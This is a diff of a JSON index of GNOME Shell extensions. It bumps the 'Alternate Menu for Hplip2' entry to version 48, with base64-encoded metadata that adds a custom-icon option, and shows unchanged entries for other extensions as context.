     "45": {"version": "23", "sha256": "128c5qbm3sirk3slaxqallij1zr13jf9mfc50pr7dlv42bbgh864", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImNyZWRpdHMiOiAiKEMpIEZyYW5jaXMgR3JpenpseSBTbWl0XG5cbkR1dGNoIHRyYW5zbGF0aW9uIFZpc3RhdXMgKEhlaW1lbiBTdG9mZmVscykgaHR0cHM6Ly9naXRodWIuY29tL1Zpc3RhdXNcblxuTGljZW5jZSBHUEwgdjIrXG5cbiIsCiAgImRlc2NyaXB0aW9uIjogImNvbnRyb2wgeW91ciBocCBwcmludGVycyBieSBjYWxsaW5nIHRoZSBkZXZpY2UgbWFuYWdlciBocC10b29sYm94LCBhbHNvIHNvbWUgdXNlZnVsIGxpbmtzXG5Nb3RpdmF0aW9uOiB0aGUgaHAtc3lzdHJheSBkb2Vzbid0IHdvcmsgcmVsaWFibHkgdW5kZXIgZ25vbWUgc2hlbGxcbnlvdSBuZWVkIHRvIGhhdmUgaW5zdGFsbGVkIGhwbGlwIGluIG9yZGVyIHRvIHVzZSB0aGlzXG5DaG9pY2Ugb2YgdXNpbmcgYSBwcmludGVyIGljb24gb3IgYSBocF9sb2dvLnBuZyBpZiBpdCdzIGluc3RhbGxlZCBpbiB0aGUgc2FtZSBwbGFjZSBhcyBtaW5lIG9uIFVidW50dVxueW91IGNvdWxkIHVzZSBzeW1ib2xpYyBsaW5rcyB0byBmYWtlIHRoZSBwYXRoLlxuVGhpcyBpcyBhIHJlcGxhY2VtZW50IGZvciB0aGUgb2xkIFwiQWx0ZXJuYXRlIE1lbnUgZm9yIEhwbGlwXCIgd2hpY2ggZG9lc24ndCB3b3JrIHVuZGVyIHRoZSBuZXcgR29tZS1TaGVsbCBJIGhhdmUgY2xlYW5lZCBpdCB1cCBhIGJpdCBhbmQgaXQgaGFzIGEgZmV3IG5ldyBtZW51J3MgYnV0IGl0IGlzIHN0aWxsIGJhc2ljYWxseSB0aGUgc2FtZSB0aGluZy5cbiBBZGRlZCBldmVuIG1vcmUgbWVudXMgYWxsIG1vc3QgYWxsIHN5c3RlbSBzZXR0aW5ncyBvbmVzLlxuXG5Ob3RlOiB0aGUgbWVudSB3aWxsIGJlIHRvbyBiaWcgaWYgeW91ciByZXNvbHV0aW9uIGlzIHdheSB0b28gbG93IGxpa2UgODAweDYwMCBJIGhhdmUgbm8gc29sbiBmb3IgdGhpcyBqdXN0IG5vdy5cblxuRHV0Y2ggbGFuZ3VhZ2Ugc3VwcG9ydCBhZGRlZCBieSBWaXN0YXVzIChIZWltZW4gU3RvZmZlbHMpIGh0dHBzOi8vZ2l0aHViLmNvbS9WaXN0YXVzXG5cbnlvdSdsbCBuZWVkIHRvIHJlc3RhcnQgZ25vbWUtc2hlbGwgYWZ0ZXIgdXBncmFkZXMgc28gZWl0aGVyIHJlYm9vdCxcbmxvZyBvdXQgYW5kIGJhY2sgaW4gYWdhaW4sIG9yIGlmIHlvdXIgdXNpbmcgWDExIHRoZW4gYWx0K0YyIHRoZW4gcnVuIHIiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJocGxpcC1tZW51MiIsCiAgIm5hbWUiOiAiQWx0ZXJuYXRlIE1lbnUgZm9yIEhwbGlwMiIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5ocGxpcC1tZW51MiIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZ3JpenpseXNtaXQvaHBsaXAtbWVudTItZ3JpenpseXNtaXQuc21pdC5pZC5hdSIsCiAgInV1aWQiOiAiaHBsaXAtbWVudTJAZ3JpenpseXNtaXQuc21pdC5pZC5hdSIsCiAgInZlcnNpb24iOiAyMwp9"},
     "46": {"version": "44", "sha256": "0wld1lr45ip8gkxiirmwd3jj15xp43sjda5lf42yhdlff0msymmh", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImNyZWRpdHMiOiAiKEMpIEZyYW5jaXMgR3JpenpseSBTbWl0XG5cbkR1dGNoIHRyYW5zbGF0aW9uIFZpc3RhdXMgKEhlaW1lbiBTdG9mZmVscykgaHR0cHM6Ly9naXRodWIuY29tL1Zpc3RhdXNcblxuTGljZW5jZSBHUEwgdjIrXG5cblRoZSBjb21tcGFjdCBtb2RlIHVzZXMgY29kZSBmcm9tIHRoZSBBcHBzIE1lbnUgYnkgZm11ZWxsbmVyXG5cbiIsCiAgImRlc2NyaXB0aW9uIjogImNvbnRyb2wgeW91ciBocCBwcmludGVycyBieSBjYWxsaW5nIHRoZSBkZXZpY2UgbWFuYWdlciBocC10b29sYm94LCBhbHNvIHNvbWUgdXNlZnVsIGxpbmtzXG5Nb3RpdmF0aW9uOiB0aGUgaHAtc3lzdHJheSBkb2Vzbid0IHdvcmsgcmVsaWFibHkgdW5kZXIgZ25vbWUgc2hlbGxcbnlvdSBuZWVkIHRvIGhhdmUgaW5zdGFsbGVkIGhwbGlwIGluIG9yZGVyIHRvIHVzZSB0aGlzXG5DaG9pY2Ugb2YgdXNpbmcgYSBwcmludGVyIGljb24gb3IgYSBocF9sb2dvLnBuZyBpZiBpdCdzIGluc3RhbGxlZCBpbiB0aGUgc2FtZSBwbGFjZSBhcyBtaW5lIG9uIFVidW50dVxueW91IGNvdWxkIHVzZSBzeW1ib2xpYyBsaW5rcyB0byBmYWtlIHRoZSBwYXRoLlxuVGhpcyBpcyBhIHJlcGxhY2VtZW50IGZvciB0aGUgb2xkIFwiQWx0ZXJuYXRlIE1lbnUgZm9yIEhwbGlwXCIgd2hpY2ggZG9lc24ndCB3b3JrIHVuZGVyIHRoZSBuZXcgR29tZS1TaGVsbCBJIGhhdmUgY2xlYW5lZCBpdCB1cCBhIGJpdCBhbmQgaXQgaGFzIGEgZmV3IG5ldyBtZW51J3MgYnV0IGl0IGlzIHN0aWxsIGJhc2ljYWxseSB0aGUgc2FtZSB0aGluZy5cbiBBZGRlZCBldmVuIG1vcmUgbWVudXMgYWxsIG1vc3QgYWxsIHN5c3RlbSBzZXR0aW5ncyBvbmVzLlxuXG5OZXc6IHRoZSBtZW51IHdpbGwgYmUgdG9vIGJpZyBpZiB5b3VyIHJlc29sdXRpb24gaXMgd2F5IHRvbyBsb3cgbGlrZSA4MDB4NjAwIEkgaGF2ZSBpbXBsZW1lbnRlZCBhIGNvbXBhY3Qgb3B0aW9uIGluIHRoZSBzZXR0aW5ncywgaWYgeW91IHVzZSBpdCB0aGUgbWVudSB3aWxsIGJlY29tZSBhIHR3byBjb2xvbW4gY29tcGFjdCBmb3JtYXQgYW5kIHdpbGwgZml0IGV2ZW4gb24gc3VjaCBhIGxvdyByZXNvbHV0aW9uLlxuXG5EdXRjaCBsYW5ndWFnZSBzdXBwb3J0IGFkZGVkIGJ5IFZpc3RhdXMgKEhlaW1lbiBTdG9mZmVscykgaHR0cHM6Ly9naXRodWIuY29tL1Zpc3RhdXNcblxuSW4gdGhlIHBhc3QgeW91IG5lZWRlZCB0byByZXN0YXJ0IGdub21lLXNoZWxsIGFmdGVyIHVwZ3JhZGVzIHNvIGVpdGhlciByZWJvb3QsXG5sb2cgb3V0IGFuZCBiYWNrIGluIGFnYWluLCBvciBpZiB5b3VyIHVzaW5nIFgxMSB0aGVuIGFsdCtGMiB0aGVuIHJ1biByOyBCdXQgdGhhdCBzaG91bGQgYmUgZ29vZCBub3cgaW4gbW9zdCBjYXNlcy4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJocGxpcC1tZW51MiIsCiAgIm5hbWUiOiAiQWx0ZXJuYXRlIE1lbnUgZm9yIEhwbGlwMiIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5ocGxpcC1tZW51MiIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZ3JpenpseXNtaXQvaHBsaXAtbWVudTItZ3JpenpseXNtaXQuc21pdC5pZC5hdSIsCiAgInV1aWQiOiAiaHBsaXAtbWVudTJAZ3JpenpseXNtaXQuc21pdC5pZC5hdSIsCiAgInZlcnNpb24iOiA0NAp9"},
     "47": {"version": "44", "sha256": "0wld1lr45ip8gkxiirmwd3jj15xp43sjda5lf42yhdlff0msymmh", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImNyZWRpdHMiOiAiKEMpIEZyYW5jaXMgR3JpenpseSBTbWl0XG5cbkR1dGNoIHRyYW5zbGF0aW9uIFZpc3RhdXMgKEhlaW1lbiBTdG9mZmVscykgaHR0cHM6Ly9naXRodWIuY29tL1Zpc3RhdXNcblxuTGljZW5jZSBHUEwgdjIrXG5cblRoZSBjb21tcGFjdCBtb2RlIHVzZXMgY29kZSBmcm9tIHRoZSBBcHBzIE1lbnUgYnkgZm11ZWxsbmVyXG5cbiIsCiAgImRlc2NyaXB0aW9uIjogImNvbnRyb2wgeW91ciBocCBwcmludGVycyBieSBjYWxsaW5nIHRoZSBkZXZpY2UgbWFuYWdlciBocC10b29sYm94LCBhbHNvIHNvbWUgdXNlZnVsIGxpbmtzXG5Nb3RpdmF0aW9uOiB0aGUgaHAtc3lzdHJheSBkb2Vzbid0IHdvcmsgcmVsaWFibHkgdW5kZXIgZ25vbWUgc2hlbGxcbnlvdSBuZWVkIHRvIGhhdmUgaW5zdGFsbGVkIGhwbGlwIGluIG9yZGVyIHRvIHVzZSB0aGlzXG5DaG9pY2Ugb2YgdXNpbmcgYSBwcmludGVyIGljb24gb3IgYSBocF9sb2dvLnBuZyBpZiBpdCdzIGluc3RhbGxlZCBpbiB0aGUgc2FtZSBwbGFjZSBhcyBtaW5lIG9uIFVidW50dVxueW91IGNvdWxkIHVzZSBzeW1ib2xpYyBsaW5rcyB0byBmYWtlIHRoZSBwYXRoLlxuVGhpcyBpcyBhIHJlcGxhY2VtZW50IGZvciB0aGUgb2xkIFwiQWx0ZXJuYXRlIE1lbnUgZm9yIEhwbGlwXCIgd2hpY2ggZG9lc24ndCB3b3JrIHVuZGVyIHRoZSBuZXcgR29tZS1TaGVsbCBJIGhhdmUgY2xlYW5lZCBpdCB1cCBhIGJpdCBhbmQgaXQgaGFzIGEgZmV3IG5ldyBtZW51J3MgYnV0IGl0IGlzIHN0aWxsIGJhc2ljYWxseSB0aGUgc2FtZSB0aGluZy5cbiBBZGRlZCBldmVuIG1vcmUgbWVudXMgYWxsIG1vc3QgYWxsIHN5c3RlbSBzZXR0aW5ncyBvbmVzLlxuXG5OZXc6IHRoZSBtZW51IHdpbGwgYmUgdG9vIGJpZyBpZiB5b3VyIHJlc29sdXRpb24gaXMgd2F5IHRvbyBsb3cgbGlrZSA4MDB4NjAwIEkgaGF2ZSBpbXBsZW1lbnRlZCBhIGNvbXBhY3Qgb3B0aW9uIGluIHRoZSBzZXR0aW5ncywgaWYgeW91IHVzZSBpdCB0aGUgbWVudSB3aWxsIGJlY29tZSBhIHR3byBjb2xvbW4gY29tcGFjdCBmb3JtYXQgYW5kIHdpbGwgZml0IGV2ZW4gb24gc3VjaCBhIGxvdyByZXNvbHV0aW9uLlxuXG5EdXRjaCBsYW5ndWFnZSBzdXBwb3J0IGFkZGVkIGJ5IFZpc3RhdXMgKEhlaW1lbiBTdG9mZmVscykgaHR0cHM6Ly9naXRodWIuY29tL1Zpc3RhdXNcblxuSW4gdGhlIHBhc3QgeW91IG5lZWRlZCB0byByZXN0YXJ0IGdub21lLXNoZWxsIGFmdGVyIHVwZ3JhZGVzIHNvIGVpdGhlciByZWJvb3QsXG5sb2cgb3V0IGFuZCBiYWNrIGluIGFnYWluLCBvciBpZiB5b3VyIHVzaW5nIFgxMSB0aGVuIGFsdCtGMiB0aGVuIHJ1biByOyBCdXQgdGhhdCBzaG91bGQgYmUgZ29vZCBub3cgaW4gbW9zdCBjYXNlcy4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJocGxpcC1tZW51MiIsCiAgIm5hbWUiOiAiQWx0ZXJuYXRlIE1lbnUgZm9yIEhwbGlwMiIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5ocGxpcC1tZW51MiIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZ3JpenpseXNtaXQvaHBsaXAtbWVudTItZ3JpenpseXNtaXQuc21pdC5pZC5hdSIsCiAgInV1aWQiOiAiaHBsaXAtbWVudTJAZ3JpenpseXNtaXQuc21pdC5pZC5hdSIsCiAgInZlcnNpb24iOiA0NAp9"},
-    "48": {"version": "47", "sha256": "1df132a5g5vkb87daid7qhcc07ifpbjqq79nppic4zq2ixx7p769", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImNyZWRpdHMiOiAiKEMpIEZyYW5jaXMgR3JpenpseSBTbWl0XG5cbkR1dGNoIHRyYW5zbGF0aW9uIFZpc3RhdXMgKEhlaW1lbiBTdG9mZmVscykgaHR0cHM6Ly9naXRodWIuY29tL1Zpc3RhdXNcblxuTGljZW5jZSBHUEwgdjIrXG5cblRoZSBjb21tcGFjdCBtb2RlIHVzZXMgY29kZSBmcm9tIHRoZSBBcHBzIE1lbnUgYnkgZm11ZWxsbmVyXG5cbiIsCiAgImRlc2NyaXB0aW9uIjogImNvbnRyb2wgeW91ciBocCBwcmludGVycyBieSBjYWxsaW5nIHRoZSBkZXZpY2UgbWFuYWdlciBocC10b29sYm94LCBhbHNvIHNvbWUgdXNlZnVsIGxpbmtzXG5Nb3RpdmF0aW9uOiB0aGUgaHAtc3lzdHJheSBkb2Vzbid0IHdvcmsgcmVsaWFibHkgdW5kZXIgZ25vbWUgc2hlbGxcbnlvdSBuZWVkIHRvIGhhdmUgaW5zdGFsbGVkIGhwbGlwIGluIG9yZGVyIHRvIHVzZSB0aGlzXG5DaG9pY2Ugb2YgdXNpbmcgYSBwcmludGVyIGljb24gb3IgYSBocF9sb2dvLnBuZyBpZiBpdCdzIGluc3RhbGxlZCBpbiB0aGUgc2FtZSBwbGFjZSBhcyBtaW5lIG9uIFVidW50dVxueW91IGNvdWxkIHVzZSBzeW1ib2xpYyBsaW5rcyB0byBmYWtlIHRoZSBwYXRoLlxuVGhpcyBpcyBhIHJlcGxhY2VtZW50IGZvciB0aGUgb2xkIFwiQWx0ZXJuYXRlIE1lbnUgZm9yIEhwbGlwXCIgd2hpY2ggZG9lc24ndCB3b3JrIHVuZGVyIHRoZSBuZXcgR29tZS1TaGVsbCBJIGhhdmUgY2xlYW5lZCBpdCB1cCBhIGJpdCBhbmQgaXQgaGFzIGEgZmV3IG5ldyBtZW51J3MgYnV0IGl0IGlzIHN0aWxsIGJhc2ljYWxseSB0aGUgc2FtZSB0aGluZy5cbiBBZGRlZCBldmVuIG1vcmUgbWVudXMgYWxsIG1vc3QgYWxsIHN5c3RlbSBzZXR0aW5ncyBvbmVzLlxuXG5OZXc6IHRoZSBtZW51IHdpbGwgYmUgdG9vIGJpZyBpZiB5b3VyIHJlc29sdXRpb24gaXMgd2F5IHRvbyBsb3cgbGlrZSA4MDB4NjAwIEkgaGF2ZSBpbXBsZW1lbnRlZCBhIGNvbXBhY3Qgb3B0aW9uIGluIHRoZSBzZXR0aW5ncywgaWYgeW91IHVzZSBpdCB0aGUgbWVudSB3aWxsIGJlY29tZSBhIHR3byBjb2xvbW4gY29tcGFjdCBmb3JtYXQgYW5kIHdpbGwgZml0IGV2ZW4gb24gc3VjaCBhIGxvdyByZXNvbHV0aW9uLlxuXG5EdXRjaCBsYW5ndWFnZSBzdXBwb3J0IGFkZGVkIGJ5IFZpc3RhdXMgKEhlaW1lbiBTdG9mZmVscykgaHR0cHM6Ly9naXRodWIuY29tL1Zpc3RhdXNcblxuSW4gdGhlIHBhc3QgeW91IG5lZWRlZCB0byByZXN0YXJ0IGdub21lLXNoZWxsIGFmdGVyIHVwZ3JhZGVzIHNvIGVpdGhlciByZWJvb3QsXG5sb2cgb3V0IGFuZCBiYWNrIGluIGFnYWluLCBvciBpZiB5b3VyIHVzaW5nIFgxMSB0aGVuIGFsdCtGMiB0aGVuIHJ1biByOyBCdXQgdGhhdCBzaG91bGQgYmUgZ29vZCBub3cgaW4gbW9zdCBjYXNlcy4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJocGxpcC1tZW51MiIsCiAgIm5hbWUiOiAiQWx0ZXJuYXRlIE1lbnUgZm9yIEhwbGlwMiIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5ocGxpcC1tZW51MiIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9ncml6emx5c21pdC9ocGxpcC1tZW51Mi1ncml6emx5c21pdC5zbWl0LmlkLmF1IiwKICAidXVpZCI6ICJocGxpcC1tZW51MkBncml6emx5c21pdC5zbWl0LmlkLmF1IiwKICAidmVyc2lvbiI6IDQ3Cn0="}
+    "48": {"version": "48", "sha256": "1sb9x76gkvnh4yqs3liy6qkmq9mcnrm5cfawyy2plhbz3j33yri5", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImNyZWRpdHMiOiAiKEMpIEZyYW5jaXMgR3JpenpseSBTbWl0XG5cbkR1dGNoIHRyYW5zbGF0aW9uIFZpc3RhdXMgKEhlaW1lbiBTdG9mZmVscykgaHR0cHM6Ly9naXRodWIuY29tL1Zpc3RhdXNcblxuTGljZW5jZSBHUEwgdjIrXG5cblRoZSBjb21tcGFjdCBtb2RlIHVzZXMgY29kZSBmcm9tIHRoZSBBcHBzIE1lbnUgYnkgZm11ZWxsbmVyXG5cbiIsCiAgImRlc2NyaXB0aW9uIjogImNvbnRyb2wgeW91ciBocCBwcmludGVycyBieSBjYWxsaW5nIHRoZSBkZXZpY2UgbWFuYWdlciBocC10b29sYm94LCBhbHNvIHNvbWUgdXNlZnVsIGxpbmtzXG5Nb3RpdmF0aW9uOiB0aGUgaHAtc3lzdHJheSBkb2Vzbid0IHdvcmsgcmVsaWFibHkgdW5kZXIgZ25vbWUgc2hlbGxcbnlvdSBuZWVkIHRvIGhhdmUgaW5zdGFsbGVkIGhwbGlwIGluIG9yZGVyIHRvIHVzZSB0aGlzXG5DaG9pY2Ugb2YgdXNpbmcgYSBwcmludGVyIGljb24gb3IgYSBocF9sb2dvLnBuZyBpZiBpdCdzIGluc3RhbGxlZCBpbiB0aGUgc2FtZSBwbGFjZSBhcyBtaW5lIG9uIFVidW50dVxueW91IGNvdWxkIHVzZSBzeW1ib2xpYyBsaW5rcyB0byBmYWtlIHRoZSBwYXRoLlxuVGhpcyBpcyBhIHJlcGxhY2VtZW50IGZvciB0aGUgb2xkIFwiQWx0ZXJuYXRlIE1lbnUgZm9yIEhwbGlwXCIgd2hpY2ggZG9lc24ndCB3b3JrIHVuZGVyIHRoZSBuZXcgR29tZS1TaGVsbCBJIGhhdmUgY2xlYW5lZCBpdCB1cCBhIGJpdCBhbmQgaXQgaGFzIGEgZmV3IG5ldyBtZW51J3MgYnV0IGl0IGlzIHN0aWxsIGJhc2ljYWxseSB0aGUgc2FtZSB0aGluZy5cbiBBZGRlZCBldmVuIG1vcmUgbWVudXMgYWxsIG1vc3QgYWxsIHN5c3RlbSBzZXR0aW5ncyBvbmVzLlxuXG5OZXc6IHRoZSBtZW51IHdpbGwgYmUgdG9vIGJpZyBpZiB5b3VyIHJlc29sdXRpb24gaXMgd2F5IHRvbyBsb3cgbGlrZSA4MDB4NjAwIEkgaGF2ZSBpbXBsZW1lbnRlZCBhIGNvbXBhY3Qgb3B0aW9uIGluIHRoZSBzZXR0aW5ncywgaWYgeW91IHVzZSBpdCB0aGUgbWVudSB3aWxsIGJlY29tZSBhIHR3byBjb2xvbW4gY29tcGFjdCBmb3JtYXQgYW5kIHdpbGwgZml0IGV2ZW4gb24gc3VjaCBhIGxvdyByZXNvbHV0aW9uLlxuXG5OZXc6IHlvdSBjYW4gbm93IGNob29zZSBhIGN1c3RvbSBpY29uIGluIHNldHRpbmdzXG5cbkR1dGNoIGxhbmd1YWdlIHN1cHBvcnQgYWRkZWQgYnkgVmlzdGF1cyAoSGVpbWVuIFN0b2ZmZWxzKSBodHRwczovL2dpdGh1Yi5jb20vVmlzdGF1c1xuXG5JbiB0aGUgcGFzdCB5b3UgbmVlZGVkIHRvIHJlc3RhcnQgZ25vbWUtc2hlbGwgYWZ0ZXIgdXBncmFkZXMgc28gZWl0aGVyIHJlYm9vdCxcbmxvZyBvdXQgYW5kIGJhY2sgaW4gYWdhaW4sIG9yIGlmIHlvdXIgdXNpbmcgWDExIHRoZW4gYWx0K0YyIHRoZW4gcnVuIHI7IEJ1dCB0aGF0IHNob3VsZCBiZSBnb29kIG5vdyBpbiBtb3N0IGNhc2VzLiIsCiAgImdldHRleHQtZG9tYWluIjogImhwbGlwLW1lbnUyIiwKICAibmFtZSI6ICJBbHRlcm5hdGUgTWVudSBmb3IgSHBsaXAyIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmhwbGlwLW1lbnUyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2dyaXp6bHlzbWl0L2hwbGlwLW1lbnUyLWdyaXp6bHlzbWl0LnNtaXQuaWQuYXUiLAogICJ1dWlkIjogImhwbGlwLW1lbnUyQGdyaXp6bHlzbWl0LnNtaXQuaWQuYXUiLAogICJ2ZXJzaW9uIjogNDgKfQ=="}
   }}
 , {"uuid": "dash-from-panel@fthx", "name": "Dash from Panel", "pname": "dash-from-panel", "description": "NOT MAINTAINED ANYMORE\n\nTop dock for GNOME 40+. Hover top panel and GNOME Shell dash appears without overview.\n\n Scroll on dock or panel changes workspace. Preferences UI.\n\n Does use native GNOME Shell Dash. Very light extension.\n\n Please report bugs through GitHub.", "link": "https://extensions.gnome.org/extension/4741/dash-from-panel/", "shell_version_map": {
     "40": {"version": "3", "sha256": "18ikbd1hxlc6rd28dnif2x74g3q9gdkgxc6jpag6qh7c51qd5klz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk5PVCBNQUlOVEFJTkVEIEFOWU1PUkVcblxuVG9wIGRvY2sgZm9yIEdOT01FIDQwKy4gSG92ZXIgdG9wIHBhbmVsIGFuZCBHTk9NRSBTaGVsbCBkYXNoIGFwcGVhcnMgd2l0aG91dCBvdmVydmlldy5cblxuIFNjcm9sbCBvbiBkb2NrIG9yIHBhbmVsIGNoYW5nZXMgd29ya3NwYWNlLiBQcmVmZXJlbmNlcyBVSS5cblxuIERvZXMgdXNlIG5hdGl2ZSBHTk9NRSBTaGVsbCBEYXNoLiBWZXJ5IGxpZ2h0IGV4dGVuc2lvbi5cblxuIFBsZWFzZSByZXBvcnQgYnVncyB0aHJvdWdoIEdpdEh1Yi4iLAogICJuYW1lIjogIkRhc2ggZnJvbSBQYW5lbCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDAiLAogICAgIjQxIiwKICAgICI0MiIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2Z0aHgvZGFzaC1mcm9tLXBhbmVsIiwKICAidXVpZCI6ICJkYXNoLWZyb20tcGFuZWxAZnRoeCIsCiAgInZlcnNpb24iOiAzCn0="},
@@ -5376,11 +5387,12 @@
     "40": {"version": "18", "sha256": "1wbmzrkx8vjnr4jdgrqp2i3i7qs0dqb8nww15vh4q91f99f89cp0", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXkgaW4geW91ciBwYW5lbCB0aGUgKHNvbmcpdGl0bGUsIGFsYnVtIGFuZC9vciBhcnRpc3QgbmFtZSBhdmFpbGFibGUgZnJvbSBhbiBtcHJpcyBjb21wYXRpYmxlIG1lZGlhIHBsYXllciwgc3VjaCBhcyBTcG90aWZ5LCBWbGMsIFJoeXRobWJveCwgRmlyZWZveCwgQ2hyb21pdW0gYW5kIG1hbnkgbW9yZS4gTG90cyBvZiBmZWF0dXJlcyBhbmQgdmVyeSBjdXN0b21pemFibGUhIiwKICAibmFtZSI6ICJNcHJpcyBMYWJlbCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiMy4zNiIsCiAgICAiMy4zOCIsCiAgICAiNDAiLAogICAgIjQxIiwKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vTW9vbi0weGZmL2dub21lLW1wcmlzLWxhYmVsIiwKICAidXVpZCI6ICJtcHJpc0xhYmVsQG1vb24tMHhmZi5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDE4Cn0="},
     "41": {"version": "18", "sha256": "1wbmzrkx8vjnr4jdgrqp2i3i7qs0dqb8nww15vh4q91f99f89cp0", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXkgaW4geW91ciBwYW5lbCB0aGUgKHNvbmcpdGl0bGUsIGFsYnVtIGFuZC9vciBhcnRpc3QgbmFtZSBhdmFpbGFibGUgZnJvbSBhbiBtcHJpcyBjb21wYXRpYmxlIG1lZGlhIHBsYXllciwgc3VjaCBhcyBTcG90aWZ5LCBWbGMsIFJoeXRobWJveCwgRmlyZWZveCwgQ2hyb21pdW0gYW5kIG1hbnkgbW9yZS4gTG90cyBvZiBmZWF0dXJlcyBhbmQgdmVyeSBjdXN0b21pemFibGUhIiwKICAibmFtZSI6ICJNcHJpcyBMYWJlbCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiMy4zNiIsCiAgICAiMy4zOCIsCiAgICAiNDAiLAogICAgIjQxIiwKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vTW9vbi0weGZmL2dub21lLW1wcmlzLWxhYmVsIiwKICAidXVpZCI6ICJtcHJpc0xhYmVsQG1vb24tMHhmZi5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDE4Cn0="},
     "42": {"version": "18", "sha256": "1wbmzrkx8vjnr4jdgrqp2i3i7qs0dqb8nww15vh4q91f99f89cp0", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXkgaW4geW91ciBwYW5lbCB0aGUgKHNvbmcpdGl0bGUsIGFsYnVtIGFuZC9vciBhcnRpc3QgbmFtZSBhdmFpbGFibGUgZnJvbSBhbiBtcHJpcyBjb21wYXRpYmxlIG1lZGlhIHBsYXllciwgc3VjaCBhcyBTcG90aWZ5LCBWbGMsIFJoeXRobWJveCwgRmlyZWZveCwgQ2hyb21pdW0gYW5kIG1hbnkgbW9yZS4gTG90cyBvZiBmZWF0dXJlcyBhbmQgdmVyeSBjdXN0b21pemFibGUhIiwKICAibmFtZSI6ICJNcHJpcyBMYWJlbCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiMy4zNiIsCiAgICAiMy4zOCIsCiAgICAiNDAiLAogICAgIjQxIiwKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vTW9vbi0weGZmL2dub21lLW1wcmlzLWxhYmVsIiwKICAidXVpZCI6ICJtcHJpc0xhYmVsQG1vb24tMHhmZi5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDE4Cn0="},
